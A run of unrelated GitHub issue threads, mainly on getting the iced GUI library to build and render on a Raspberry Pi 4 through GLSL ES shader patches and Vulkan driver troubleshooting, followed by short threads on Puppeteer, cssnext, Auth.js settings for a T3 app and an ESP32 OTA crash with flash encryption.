error[E0308]: mismatched types
   --> /home/pi/.cargo/registry/src/github.com-1ecc6299db9ec823/font-kit-0.6.0/src/loaders/freetype.rs:808:21
    |
808 |                 xx: matrix.x() as i64,
    |                     ^^^^^^^^^^^^^^^^^ expected `i32`, found `i64`

error[E0308]: mismatched types
   --> /home/pi/.cargo/registry/src/github.com-1ecc6299db9ec823/font-kit-0.6.0/src/loaders/freetype.rs:809:21
    |
809 |                 xy: matrix.y() as i64,
    |                     ^^^^^^^^^^^^^^^^^ expected `i32`, found `i64`

error[E0308]: mismatched types
   --> /home/pi/.cargo/registry/src/github.com-1ecc6299db9ec823/font-kit-0.6.0/src/loaders/freetype.rs:810:21
    |
810 |                 yx: matrix.z() as i64,
    |                     ^^^^^^^^^^^^^^^^^ expected `i32`, found `i64`

error[E0308]: mismatched types
   --> /home/pi/.cargo/registry/src/github.com-1ecc6299db9ec823/font-kit-0.6.0/src/loaders/freetype.rs:811:21
    |
811 |                 yy: matrix.w() as i64,
    |                     ^^^^^^^^^^^^^^^^^ expected `i32`, found `i64`

error: aborting due to 6 previous errors

For more information about this error, try `rustc --explain E0308`.
error: could not compile `font-kit`.

I updated iced_graphics'  font-kit dependency to 0.9 and the error disappeared. I was able to build and execute examples, but rendering fails for some reason. Here's the typical output: https://gist.github.com/0x7CFE/3f29f6d7fccd67bd8804ad47c97daaa5 Also, please notice a ton of font errors.
Currently Raspberry Pi 4 has only experimental but working Vulkan support. Yet I thought that for 2D stuff it should probably be enough.
I will be happy to hear any suggestions.
P.S.: Since iced is render agnostc, is it possible to build it on top of OpenGL? Maybe that would be easier than trying to debug alpha version of the Vulkan driver.

Interesting!

I updated iced_graphics' font-kit dependency to 0.9

We should definitely update this dependency in iced_graphics. I will take a look.

Since iced is render agnostc, is it possible to build it on top of OpenGL? Maybe that would be easier than trying to debug alpha version of the Vulkan driver.

I recently implemented an OpenGL renderer in #354. You can enable it using the glow and glow_canvas features. However, keep in mind the Image and Svg widgets are not supported by this backend yet.

I recently implemented an OpenGL renderer in #354. You can enable it using the glow and glow_canvas features.

Awesome! I will have a look.

However, keep in mind the Image and Svg widgets are not supported by this backend yet.

Oh, that's unfortunate. Being able to render images is key to my application. Could you please give me a hint on how hard or time consuming it is to implement image support for this backend?

Just in case, I've tried to build stopwatch example with glow feature enabled and got this:
    Finished dev [unoptimized + debuginfo] target(s) in 0.52s
     Running `target/debug/stopwatch`
thread 'main' panicked at '0:1(10): error: GLSL 3.30 is not supported. Supported versions are: 1.10, 1.20, 1.00 ES, and 3.00 ES
', /home/pi/.cargo/registry/src/github.com-1ecc6299db9ec823/glow_glyph-0.2.0/src/pipeline.rs:287:13

Is it possible to lower required GL version? It's kinda strange to think that 2D rendering stuff requires the latest GL version.

A temporary workaround for GLSL ES issue would be to replace the #version 330 line with
#version 300 es
precision mediump float;

In both shaders like this:
diff --git a/src/shader/fragment.frag b/src/shader/fragment.frag
index 5464b3f..60fb836 100644
--- a/src/shader/fragment.frag
+++ b/src/shader/fragment.frag
@@ -1,7 +1,9 @@
-#version 330
+#version 300 es
+precision mediump float;

 uniform sampler2D font_sampler;

+
 in vec2 f_tex_pos;
 in vec4 f_color;

diff --git a/src/shader/vertex.vert b/src/shader/vertex.vert
index 023ce31..968f197 100644
--- a/src/shader/vertex.vert
+++ b/src/shader/vertex.vert
@@ -1,4 +1,5 @@
-#version 330
+#version 300 es
+precision mediump float;

 uniform mat4 transform;

I've only tested this on https://github.com/hecrj/glow_glyph repo on Raspberry Pi 4 device, haven't really tested further with iced.
A proper fix would be to dynamically detect what version and flavour of OpenGL context glow_glyph has got, and dynamically decide which shader version it should use, either by choosing from different files, or by patching up version-header. Unfortunately #version directive has to be the first non-commented line of a shader, so no preprocessor tricks like #ifdef GL_ES are valid.
Also precision mediump float is too broad. It may be worth optimizing this on per-variable basis for lower-end devices. Lots of text will lead to a non-trivial amount of computation, given that IIUTC each glyph will be rendered using a separate quad (which I would recommend against, but this is a separate huge topic :D).

Got bezier_tool to work on RPi4 with these changes:
diff --git a/Cargo.toml b/Cargo.toml
index 9ab57bc..f61890f 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -90,3 +90,6 @@ iced_web = { version = "0.2", path = "web" }
 [package.metadata.docs.rs]
 rustdoc-args = ["--cfg", "docsrs"]
 features = ["image", "svg", "canvas"]
+
+# glow_glyph with patched shaders
+[patch.crates-io]
+glow_glyph = { path = "../glow_glyph" }
diff --git a/examples/bezier_tool/Cargo.toml b/examples/bezier_tool/Cargo.toml
index a88975a..e1c32f4 100644
--- a/examples/bezier_tool/Cargo.toml
+++ b/examples/bezier_tool/Cargo.toml
@@ -6,4 +6,4 @@ edition = "2018"
 publish = false

 [dependencies]
-iced = { path = "../..", features = ["canvas"] }
+iced = { path = "../..", features = ["canvas", "glow", "glow_canvas"] }
diff --git a/glow/src/shader/quad.frag b/glow/src/shader/quad.frag
index cea36bd..aa6045d 100644
--- a/glow/src/shader/quad.frag
+++ b/glow/src/shader/quad.frag
@@ -1,4 +1,5 @@
-#version 330
+#version 300 es
+precision mediump float;

 uniform float u_ScreenHeight;

@@ -11,7 +12,7 @@ in float v_BorderWidth;

 out vec4 o_Color;

-float distance(in vec2 frag_coord, in vec2 position, in vec2 size, float radius)
+// Apparently this conflicts with existing GLSL distance(T a, T b) function
+float distance1(in vec2 frag_coord, in vec2 position, in vec2 size, float radius)
 {
     // TODO: Try SDF approach: https://www.shadertoy.com/view/wd3XRN
     vec2 inner_size = size - vec2(radius, radius) * 2.0;
@@ -35,10 +36,10 @@ void main() {
     vec2 fragCoord = vec2(gl_FragCoord.x, u_ScreenHeight - gl_FragCoord.y);

     // TODO: Remove branching (?)
-    if(v_BorderWidth > 0) {
+    if(v_BorderWidth > 0.) { // 0 is int, 0. is float
         float internal_border = max(v_BorderRadius - v_BorderWidth, 0.0);

-        float internal_distance = distance(
+        float internal_distance = distance1(
             fragCoord,
             v_Pos + vec2(v_BorderWidth),
             v_Scale - vec2(v_BorderWidth * 2.0),
@@ -56,7 +57,7 @@ void main() {
         mixed_color = v_Color;
     }

-    float d = distance(
+    float d = distance1(
         fragCoord,
         v_Pos,
         v_Scale,
diff --git a/glow/src/shader/quad.vert b/glow/src/shader/quad.vert
index d37b5c8..08a4d7c 100644
--- a/glow/src/shader/quad.vert
+++ b/glow/src/shader/quad.vert
@@ -1,4 +1,5 @@
-#version 330
+#version 300 es
+precision mediump float;

 uniform mat4 u_Transform;
 uniform float u_Scale;
diff --git a/glow/src/shader/triangle.frag b/glow/src/shader/triangle.frag
index d186784..e71c07c 100644
--- a/glow/src/shader/triangle.frag
+++ b/glow/src/shader/triangle.frag
@@ -1,4 +1,5 @@
-#version 330
+#version 300 es
+precision mediump float;

 in vec4 v_Color;

diff --git a/glow/src/shader/triangle.vert b/glow/src/shader/triangle.vert
index 5723436..e1efa59 100644
--- a/glow/src/shader/triangle.vert
+++ b/glow/src/shader/triangle.vert
@@ -1,4 +1,5 @@
-#version 330
+#version 300 es
+precision mediump float;

 uniform mat4 u_Transform;

diff --git a/graphics/Cargo.toml b/graphics/Cargo.toml
index 8e078d7..9a1e912 100644
--- a/graphics/Cargo.toml
+++ b/graphics/Cargo.toml
@@ -29,7 +29,7 @@ version = "0.15"
 optional = true

 [dependencies.font-kit]
-version = "0.6"
+version = "0.9"
 optional = true

 [package.metadata.docs.rs]

Correction: it really should be precision highp float; for compatibility.

A temporary workaround for GLSL ES issue

@w23, awesome, thank you very much for looking into this!

@hecrj, any ideas on why Vulkan version does not work?
The UI window is shown, but not a single frame is rendered. Eventually the app crashes with the message:
thread 'main' panicked at 'Next frame: TimeOut', /home/pi/work/iced/wgpu/src/window/compositor.rs:110:21

I've updated vulkan drivers and standard demos like gears are working perfectly. Even complicated scenes like this are reportedly working. So I doubt that the issue is with the drivers themselves. How can I help to debug the issue?

@0x7CFE It'd help if you could try the wgpu examples.

@0x7CFE It'd help if you could try the wgpu examples.

In the meantime I contacted wgpu developers on their Matrix channel and we discussed the situation. Wgpu examples all fail in one way or another. They also suggested me to try out the ash library. After some hacks and tweaks I was able to make triangle and texture examples work there. But something more complex still doesn't work. After examining the example output, wgpu developers said that the driver looks half finished and all issues are probably because of that. Indeed the driver is very much work in progress, but the pace makes me optimistic.
Still, I think that implementing image and svg support for glow backend is probably the fastest way to make iced work on Raspberry Pi 4.

Good news everyone! I was finally able to run some iced examples on Raspberry Pi 4 using Igalia v3dv driver and it worked! :tada:
Igalia v3dv driver is now approaching its 1.0 and authors are working on Vulkan conformance tests, so core functionality is already there. Hopefully we would have real Vulkan support soon on RPi4.

Still, current performance is quite low and there are a lot of rendering artifacts.

Good news everyone! I was finally able to run some iced examples on Raspberry Pi 4 using Igalia v3dv driver and it worked! tada
Igalia v3dv driver is now approaching its 1.0 and authors are working on Vulkan conformance tests, so core functionality is already there. Hopefully we would have real Vulkan support soon on RPi4.

Can you share more about your setup? The v3dv driver is now merged into mesa, but I don't seem to be able to get it to run Iced properly. For instance:

the clock example is glitchy (seconds clock hand tears up when it moves; improves if the example is modified to tick the message more often)
Game of life crashes with Segmentation fault
Geometry example is glitchy while moving the mouse
Bezier_tool glitches while moving the line
simpler examples like progress_bar work fine...

I have also tried some wgpu examples and I reproduce the observations made there...
My setup:
Linux raspi 5.11.0-rc2-1-MANJARO-ARM #1 SMP PREEMPT Wed Jan 6 11:28:33 CST 2021 aarch64 GNU/Linux
(Manjaro package) extra/mesa-git 21.0.0_devel.132971.a0314083be5-1
cat /boot/config.txt
# See /boot/overlays/README for all available options

gpu_mem=128
initramfs initramfs-linux.img followkernel
kernel=kernel8.img
arm_64bit=1
enable_gic=1
disable_overscan=1

#enable sound
dtparam=audio=on
hdmi_drive=2

#enable vc4
#dtoverlay=vc4-fkms-v3d
dtoverlay=vc4-kms-v3d-pi4,cma-384
max_framebuffers=2
dtoverlay=rpivid-v4l2

Good news everyone! I was finally able to run some iced examples on Raspberry Pi 4 using Igalia v3dv driver and it worked! tada
Igalia v3dv driver is now approaching its 1.0 and authors are working on Vulkan conformance tests, so core functionality is already there. Hopefully we would have real Vulkan support soon on RPi4.

Can you share more about your setup? The v3dv driver is now merged into mesa, but I don't seem to be able to get it to run Iced properly. For instance:

the clock example is glitchy (seconds clock hand tears up when it moves; improves if the example is modified to tick the message more often)
Game of life crashes with Segmentation fault
Geometry example is glitchy while moving the mouse
Bezier_tool glitches while moving the line
simpler examples like progress_bar work fine...

I have also tried some wgpu examples and I reproduce the observations made there...
My setup:
Linux raspi 5.11.0-rc2-1-MANJARO-ARM #1 SMP PREEMPT Wed Jan 6 11:28:33 CST 2021 aarch64 GNU/Linux
(Manjaro package) extra/mesa-git 21.0.0_devel.132971.a0314083be5-1
cat /boot/config.txt
# See /boot/overlays/README for all available options

gpu_mem=128
initramfs initramfs-linux.img followkernel
kernel=kernel8.img
arm_64bit=1
enable_gic=1
disable_overscan=1

#enable sound
dtparam=audio=on
hdmi_drive=2

#enable vc4
#dtoverlay=vc4-fkms-v3d
dtoverlay=vc4-kms-v3d-pi4,cma-384
max_framebuffers=2
dtoverlay=rpivid-v4l2

in my case I get this error when I run with RP4:
thread 'main' panicked at '0:1(10): error: GLSL 3.30 is not supported. Supported versions are: 1.10, 1.20, 1.00 ES, and 3.00 ES

in my case I get this error when I run with RP4:
thread 'main' panicked at '0:1(10): error: GLSL 3.30 is not supported. Supported versions are: 1.10, 1.20, 1.00 ES, and 3.00 ES

in my case I get this error when I run some basic code using Iced (branch: master) with RP4:
thread 'main' panicked at '0:1(10): error: GLSL 3.30 is not supported. Supported versions are: 1.10, 1.20, 1.00 ES, and 3.00 ES

See the comment above: https://github.com/hecrj/iced/issues/428#issuecomment-650834271

in my case I get this error when I run some basic code using Iced (branch: master) with RP4:
thread 'main' panicked at '0:1(10): error: GLSL 3.30 is not supported. Supported versions are: 1.10, 1.20, 1.00 ES, and 3.00 ES

See the comment above: https://github.com/hecrj/iced/issues/428#issuecomment-650834271

the clock example is glitchy (seconds clock hand tears up when it moves; improves if the example is modified to tick the
Its glitching for me, as well as solar system and others. Tested on igalia/v3dv branch in mesa repo, and on recent master. Makes no difference.

Also game of life example looks kinda upside-down. All controls and fonts are mirrored vertically.

the clock example is glitchy (seconds clock hand tears up when it moves; improves if the example is modified to tick the
Its glitching for me, as well as solar system and others. Tested on igalia/v3dv branch in mesa repo, and on recent master. Makes no difference.

Also game of life example looks kinda upside-down. All controls and fonts are mirrored vertically.

Patched GL version now work seamlessly for me.

Patched GL version now work seamlessly for me.

@SimplyNaOH, @dancespiele, you may check out my patch: https://github.com/0x7CFE/iced/tree/gl300es

@SimplyNaOH, @dancespiele, you may check out my patch: https://github.com/0x7CFE/iced/tree/gl300es

@0x7CFE I looked this branch https://github.com/0x7CFE/iced/tree/gl300es and it seems that it just adds those lines to Cargo.toml:
[patch.crates-io]
glow_glyph = { git = "https://github.com/0x7CFE/glow_glyph.git", branch = "gl300es" }

And it seems change that you made for glow_glyph is here:
https://github.com/0x7CFE/glow_glyph/commit/0e1241f81a4941668596b278f129b633b67db7db
I saw the same error message on RPi as @dancespiele reported and I tried to reproduce @0x7CFE results, however so far unsuccesfully.
My application Cargo.toml looks like this:
[dependencies]
iced = { version = "0.2", default_features = false, features = ["tokio_old", "glow", "glow_canvas"] }
iced_native = "0.3"
tokio = { version = "0.2", features = ["full"] }

[patch.crates-io]
glow_glyph = { git = "https://github.com/0x7CFE/glow_glyph.git", branch = "gl300es" }

Cargo.lock file shows that glow_glyph is indeed taken from this branch. However I still see this error:
thread 'main' panicked at '0:1(10): error: GLSL 3.30 is not supported. Supported versions are: 1.10...

I wonder what I am missing, what else must be patched?

I wonder what I am missing, what else must be patched?

That's strange. Maybe I didn't commited everything and some shader still refer to GL 3.30

and it seems that it just adds those lines to Cargo.toml:

See this commit which is in the branch: https://github.com/hecrj/iced/commit/6ff29ef536a316094a0e76cafd4e284e7300af89

would a simple ui work on raspberry pi zero? or does it need harware graphics?


Getting an error in Node js I can't figure out.....

Whoops! There was an uncaught exception...
node_modules\puppeteer\lib\cjs\puppeteer\node\Puppeteer.js:66
const { projectRoot, preferredRevision, productName, ...commonSettings } = settings;
I'm running node v12.16.2 and Puppeteer 8.......
Any input would be highly appreciated :)

I am getting the same error,
App threw an error during load
B:\Code\FortuneBot\node_modules\puppeteer\lib\cjs\puppeteer\node\Puppeteer.js:66
const { projectRoot, preferredRevision, productName, ...commonSettings } = settings;
^^^
SyntaxError: Unexpected token ...
at Object.exports.runInThisContext (vm.js:76:16)
at Module._compile (module.js:528:28)
at Object.Module._extensions..js (module.js:565:10)
at Module.load (module.js:473:32)
at tryModuleLoad (module.js:432:12)
at Function.Module._load (module.js:424:3)
at Module.require (module.js:483:17)
at require (internal/module.js:20:19)
at Object. (B:\Code\FortuneBot\node_modules\puppeteer\lib\cjs\puppeteer\initialize-node.js:22:24)
at Module._compile (module.js:556:32)
Running Node v12.19.0 and puppeteer 6.14.8


SNAPP // v: 0.7.alpha

In the app version 0.7 is marked as alpha.
In the changelog it's marked at 0.7 release
So this version it's version 0.7 or version 0.7.alpha?

0.7 i forgot to update the label

0.7 i forgot to update the label

Thank You! and we can now use the tag :latest for docker?

Yes. It is the same as 0.7 already
ENV SNAPP_VERSION=0.7.alpha is the culprit. I'll rebuild to 0.7.1 with previous fix and correttiing.env in docketfile as soon as i can

Yes. It is the same as 0.7 already
ENV SNAPP_VERSION=0.7.alpha is the culprit. I'll rebuild to 0.7.1 with previous fix and correttiing.env in docketfile as soon as i can

Perfect Thank you!

fixed in 0.7.1 /latest, already online :)

fixed in 0.7.1 /latest, already online :)

Yeah!!!


Top Shelf

Will there be a way to integrate with top shelf easily, or would that be done separately? I'm just planning on long term ideas and it would be nice to have a photo diary delivered this way. I'm thinking of new photos showing automatically in the top shelf.

Sorry. Forgot to mention. I mean on tvos.

Thanks @drcreek for the good question, and I'm sorry for taking so long to answer the question. For now Swipe does not have built-in support of Top Shelf, but I think it's possible to manually implement TVTopShelfProvider and application(app: UIApplication, openURL url: NSURL, options: [String: AnyObject]) -> Bool to support Top Shelf in your app.


Pr/47 - Simplify error reporting

Do you see any problem with only creating one issue rather than many? It seems like when this happens it is usually for the same underlying problem

that seems fine with me!


Minify breaks calc()

Hi !
I am currently using your Gulp version and it's great.
I encountered a problem with the minification though.
The CSS "calc()" function needs preserved spaces inside, or the browser won't be able to read the calcul. CSSNEXT currently turns "calc(100% + 44px)" into "calc(100%+44px)".
Could you update so it won't break anymore ? :-)
Thank you ! (❁´◡`❁)✲ﾟ

this isn't the concerned repository, although:
this problem is that cssnano (the minifier) migrated to postcss 5, and created the fix for this after the migration, which makes it incompatible with cssnext in its current state. although the next version is created as postcss plugin: https://github.com/cssnext/postcss-cssnext. something like this should work
var gulp = require("gulp")
var postcss = require("gulp-postcss")

var cssnext = require("postcss-cssnext")
var cssnano = require("cssnano")

gulp.task("css", function () {
  var plugins = [
    cssnext({ ...options }),
    cssnano(),
  ]
  return gulp.src("source/**.css")
    .pipe(postcss(plugins))
    .pipe(gulp.dest("dist/css"))
})

@bloodyowl the example with gulp is not the best since this repo is for brunch :)
@melinadonati I must admit that cssnext is kind of outdated. My recommendation will be to use postcss-brunch instead of cssnext-brunch, and use the plugins mentionned here https://github.com/cssnext/postcss-cssnext#options in addition to postcss-cssnext in this order: postcss-import, postcss-url, postcss-cssnext, postcss-browser-reporter and cssnano when you want to minify.
Note: if you want to help us to prepare official deprecation of cssnext, please share your snippet after upgrading to this recommended setup, that will help us (we have a lot of runners to deprecate in favor of postcss runners, see https://github.com/cssnext/cssnext/issues/208 if you want to know why)

@moox

I am currently using your Gulp version and it's great.

Oh sorry, I missed that :)


Active repo or accepting pull requests?

Hello,
I noticed that metronome 0.4.0 is released but not reflected here. Are you accepting pull requests for it?

Yes, I‘m accepting pull requests. Feel free to open a PR. Thanks in advance!

I updated this project to use Mesos 1.5.0 and Metronome 0.4.1. The Docker image is just being built.


Normalize Docker + python.

On Dockerfile:

Do not redo requirements.txt installs if only source changes.
Move pytube github version into requirements.txt
Use explicit arg array in CMD to avoid any shell parsing issues.
Shift to alpine linux cause it's small. Might not work with service account...

On vast_manager.py:

Use list comprehensions for more idiomatic entires creation.
Raise exception on no data to ensure only one "kind" is returned from the function.
Use min() instead of sort to find list. O(n) instead of O(n log n).
Capture stderr as well and return both stdout/stderr in exception so they can be inspected.

@awfulbananas   Tagging you in case you're curious.  This is my first pass at productionizing the code you wrote.


bug: Unable to use discord login with production build

Provide environment information
npx envinfo --system --binaries
System:
OS: Linux 6.1 Debian GNU/Linux 12 (bookworm) 12 (bookworm)
CPU: (2) x64 AMD EPYC 7R32
Memory: 2.24 GB / 3.78 GB
Container: Yes
Shell: 5.9 - /usr/bin/zsh
Binaries:
Node: 20.14.0 - ~/.nvm/versions/node/v20.14.0/bin/node
npm: 10.7.0 - ~/.nvm/versions/node/v20.14.0/bin/npm
pnpm: 9.14.4 - ~/.nvm/versions/node/v20.14.0/bin/pnpm
ct3aMetadata.initVersion
7.38.1
Describe the bug
I

followed the guide. Copied AUTH_DISCORD_ID AUTH_DISCORD_SECRET into .env file.
Tried both sqlite and mysql db.
Added NEXTAUTH_URL=https://try-t3-app.linwise.com/ in .env too.

It works when I run "pnpm dev", both on my local machine and on the debian server.
It does not work after I run "pnpm build" and use pm2 to start it like this:
next.js config, no standalone output way:
PORT=3006 pm2 start npm --name try-t3-app -- start
next.js config, standalone output way:
PORT=3006 pm2 start .next/standalone/server.js --name try-t3-app
I can open the page: https://try-t3-app.linwise.com/
Surprisingly, you see on the page it says "Logged in as", and "sign out".
I cleared all the cookies, and tried browser incognito mode. It still does not work.
When I go to https://try-t3-app.linwise.com/api/auth/signin, it  says Server error.
This is the redirect url I have on discord oauth2 settings page:
https://try-t3-app.linwise.com/api/auth/callback/discord
Reproduction repo
https://github.com/shrekuu/try-t3-app
To reproduce
Just build the app and serve it locally. Update the AUTH_DISCORD_ID, AUTH_DISCORD_SECRET, DATABASE_URL in your local .env file.
You may need to add NEXTAUTH_URL="http://localhost:3000" too.
Make sure to use MySQL, if not, revert these changes and you are good to go.
https://github.com/shrekuu/try-t3-app/commit/90e04dff5a004cc199e8d71c6993a46e4c5922bf
Additional information
Maybe we should switch to another auth library?

Figured it out.
Had to add AUTH_TRUST_HOST="try-t3-app.linwise.com" to .env file.
https://authjs.dev/getting-started/migrating-to-v5#environment-variables
So these two lines are necessary for discord to work properly.
NEXTAUTH_URL="https://try-t3-app.linwise.com"
AUTH_TRUST_HOST="try-t3-app.linwise.com"

Maybe we should add these two lines in .env when users create t3 app?
NEXTAUTH_URL="https://localhost"
AUTH_TRUST_HOST="localhost"


Fixed movie analysis page bug

Related Issue
#228
Description
Fixed movie analysis page bug
Type of PR

[X] Bug fix
[ ] Feature enhancement
[ ] Documentation update
[ ] Other (specify): _______________

Screenshots / videos (if applicable)

Checklist:

[X] I have performed a self-review of my code
[X] I have read and followed the Contribution Guidelines.
[X] I have tested the changes thoroughly before submitting this pull request.
[X] I have provided relevant issue numbers, screenshots, and videos after making the changes.
[X] I have commented my code, particularly in hard-to-understand areas.

After merging my code, once reboot or redeploy the website in streamlit.


Add Akamai True-Client-IP support

Could you add Akamai True-Client-IP for ForwardedHeaders, or make it more modular for injecting custom headers handlers?

Yes, we can, but then we loosing XForwardedFor header if Akamai header not exists and do extra configuration logic based on hosting environment.

How about adding a separate instance of UseForwardedHeaders that specifies the Akamai header name? They can stack.
That thread doesn't show the contents of the header.
Yes, IPv6 is supported.
https://github.com/aspnet/BasicMiddleware/blob/347d1abfce8c257125bea17067f10cf30ce85396/test/Microsoft.AspNetCore.HttpOverrides.Tests/IPEndPointParserTest.cs#L16-L18

Good point to know, hank you it really solve, not best way, but works.
Here is official documentation from Akamai https://community.akamai.com/videos/1232
Got it, Great thanks.


Investigate usage in Meteor

It seems that there are issues using this with Meteor. Need to solve the pain points and update component/readme

What are the problems you've encountered? Seems to work ok for me...

In truth, I am not a Meteor dev and have based this exploration on users feedback. I haven't had a chance to look at this in depth yet, though I'm curious if you had to do anything special to get it working?
Would you be interested in submitting a PR for a few lines of documentation around the process?

I actually didn't do anything special. Just npm installed and setup as per the readme. If I do find issues I'll post here

closing as not an issue


OTA update panic when flash encryption is enabled (IDFGH-3512)

Environment

Module or chip used: ESP32-WROOM-32
IDF version: v4.2-dev-1905-g625bd5eb1806
Build System: idf.py
Compiler version: xtensa-esp32-elf-gcc (crosstool-NG esp-2020r2) 8.2.0
Operating System: Linux
Using an IDE?: NO
Power Supply: USB

Problem Description
I (44614) esp_https_ota: Starting OTA...
I (44616) esp_https_ota: Writing to partition subtype 17 at offset 0x260000
Guru Meditation Error: Core  0 panic'ed (IllegalInstruction). Exception was unhandled.
Memory dump at 0x40197338: 17193723 00909990 7641dc07
0x40197338: rcUpdateRxDone at ??:?
Core  0 register dump:
PC      : 0x4019733f  PS      : 0x00060f30  A0      : 0x800923da  A1      : 0x3ffc66a0
0x4019733f: rcUpdateRxDone at ??:?
A2      : 0x3ffbab70  A3      : 0x0000007f  A4      : 0x00000000  A5      : 0x00000001
A6      : 0xffffffff  A7      : 0x00000001  A8      : 0x0000003b  A9      : 0x000000ab
A10     : 0x0000003b  A11     : 0x0000003b  A12     : 0x00000006  A13     : 0x00000000
A14     : 0x00000000  A15     : 0x00000000  SAR     : 0x00000020  EXCCAUSE: 0x00000000
EXCVADDR: 0x00000000  LBEG    : 0x40082371  LEND    : 0x40082379  LCOUNT  : 0x00000027
0x40082371: esp_timer_impl_get_counter_reg at /home/axel/esp/esp-idf/components/esp_timer/src/esp_timer_impl_lac.c:126 (discriminator 2)
0x40082379: esp_timer_impl_get_counter_reg at /home/axel/esp/esp-idf/components/esp_timer/src/esp_timer_impl_lac.c:136 (discriminator 1)
Backtrace:0x4019733c:0x3ffc66a0 0x400923d7:0x3ffc66c0 0x400924b1:0x3ffc66e0 0x40090837:0x3ffc6720
0x4019733c: rcUpdateRxDone at ??:?
0x400923d7: ppRxProtoProc at ??:?
0x400924b1: ppRxPkt at ??:?
0x40090837: ppTask at ??:?
ELF file SHA256: b23a527b4da3c8f2
Rebooting...
ets Jun  8 2016 00:22:57
rst:0xc (SW_CPU_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)
configsip: 0, SPIWP:0xee
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
mode:DIO, clock div:2
load:0x3fff0030,len:4
load:0x3fff0034,len:6020
load:0x40078000,len:13524
ho 0 tail 12 room 4
load:0x40080400,len:3768
0x40080400: _init at ??:?
entry 0x40080648
Expected Behavior
It should just work.
Actual Behavior
panic.
Steps to reproduce
Just do OTA firmware update.
Code to reproduce this issue
I cannot share my application code, but what I did is the same as simple_ota_example or advanced_https_ota which calls esp_https_ota().
I have enabled flash encryption in development mode.
The firmware I'm updating is about 1.2M size.
Also note OTA was working fine when flash encryption is disabled.

Sometimes I got below messages:
I (27921) esp_https_ota: Starting OTA...
I (27922) esp_https_ota: Writing to partition subtype 17 at offset 0x260000
ets Jun  8 2016 00:22:57
rst:0x8 (TG1WDT_SYS_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)
configsip: 0, SPIWP:0xee
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
mode:DIO, clock div:2
load:0x3fff0030,len:4
load:0x3fff0034,len:6020
load:0x40078000,len:13524
ho 0 tail 12 room 4
load:0x40080400,len:3768
0x40080400: _init at ??:?
entry 0x40080648
W (183) boot.esp32: PRO CPU has been reset by WDT.
W (183) boot.esp32: WDT reset info: PRO CPU PC=0x40087725
0x40087725: panic_print_char at /home/axel/esp/esp-idf/components/esp_system/panic.c:71
W (185) boot.esp32: WDT reset info: APP CPU PC=0x400879e6
0x400879e6: panic_handler at /home/axel/esp/esp-idf/components/esp_system/port/panic_handler.c:487 (discriminator 1)

I just tried simple_ota_example with SECURE_FLASH_ENC_ENABLED=y,  the panic is reproduceable but with different exception.
I (3747) simple_ota_example: Starting OTA example
I (4027) esp_https_ota: Starting OTA...
I (4027) esp_https_ota: Writing to partition subtype 16 at offset 0x110000
Guru Meditation Error: Core  0 panic'ed (LoadProhibited). Exception was unhandled.
Core  0 register dump:
PC      : 0x4011bf7f  PS      : 0x00060f30  A0      : 0x8008e832  A1      : 0x3ffc19c0
0x4011bf7f: ic_csi_set_config at ??:?
A2      : 0x3ffb7b34  A3      : 0x00000000  A4      : 0x3ffbb588  A5      : 0x00400000
A6      : 0x00000009  A7      : 0x00000080  A8      : 0x3ffbb5c4  A9      : 0x00000062
A10     : 0x3ffb1608  A11     : 0x004ea5b9  A12     : 0x00000000  A13     : 0x3ffbb5ec
A14     : 0x02000000  A15     : 0x00000001  SAR     : 0x00000017  EXCCAUSE: 0x0000001c
EXCVADDR: 0x00400020  LBEG    : 0x4000c2e0  LEND    : 0x4000c2f6  LCOUNT  : 0xffffffff
Backtrace:0x4011bf7c:0x3ffc19c0 0x4008e82f:0x3ffc1a20 0x4008faca:0x3ffc1a50 0x4008c1c4:0x3ffc1a70 0x400901dd:0x3ffc1b00 0x400877b1:0x3ffc1b30
0x4011bf7c: ic_csi_set_config at ??:?
0x4008e82f: lmacTxFrame at ??:?
0x4008faca: ppProcessTxQ at ??:?
0x4008c1c4: ieee80211_output_process at ??:?
0x400901dd: ppTask at ??:?
0x400877b1: vPortTaskWrapper at /home/axel/esp/esp-idf/components/freertos/xtensa/port.c:143
ELF file SHA256: 984948d004f6930c
Rebooting...
ets Jun  8 2016 00:22:57
rst:0xc (SW_CPU_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)
configsip: 0, SPIWP:0xee
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
mode:DIO, clock div:2
load:0x3fff0030,len:4
load:0x3fff0034,len:7484
load:0x40078000,len:13956
load:0x40080400,len:4000
0x40080400: _init at ??:?

Hi @AxelLin,
I tried running simple_ota_example, with a firmware of size 860K. It worked fine for me and didn't see find any crash.
Is there any change in configuration which is causing crash? Can you share sdkconfig file?

Hi @shubhamkulkarni97
Attached sdkconfig for simple_ota_example.
My change is mainly enable flash encryption.
thanks,
Axel

Hi @shubhamkulkarni97
Can you reproduce the issue now with provided sdkconfig?
Just want to know if I need to provide more information for you to reproduce the issue.

Hi @AxelLin,
simple_ota_example worked with provided sdkconfig as well.
Can you share logs by setting log level to debug(in menuconfig)?

Hi @shubhamkulkarni97
Attached my log with debug build.
ps. I have applied 8904.zip patch from https://github.com/espressif/esp-idf/issues/5343
ota-debug.txt

@AxelLin,
We are not able to decode backtrace in the logs you shared. Can you share the logs by running idf.py monitor?
Also can you run python $IDF_PATH/components/esptool_py/esptool/espefuse.py -p PORT summary and share the output?

Hi @shubhamkulkarni97
The previous ota-debug.txt is idf.py monitor output, it seems panic with different reasons.
I attached efuse-summanry and idf-monitor output again
ota-debug-monitor.txt
efuse-summary.txt

D (8034) HTTP_CLIENT: need_read=289, byte_to_read=289, rlen=289, ridx=0
D (8034) HTTP_CLIENT: http_on_body 289
D (8034) simple_ota_example: HTTP_EVENT_ON_DATA, len=289
Guru Meditation Error: Core  0 panic'ed (IllegalInstruction). Exception was unhandled.
Memory dump at 0x4012015c: 00000206 995b6399 9d2fe60e
0x4012015c: pm_on_beacon_rx at ??:?
Core  0 register dump:
PC      : 0x40120161  PS      : 0x00060130  A0      : 0x80091dc4  A1      : 0x3ffc1b60
0x40120161: pm_on_beacon_rx at ??:?
A2      : 0x00000000  A3      : 0x00000ab4  A4      : 0x00019000  A5      : 0x3ffcb073
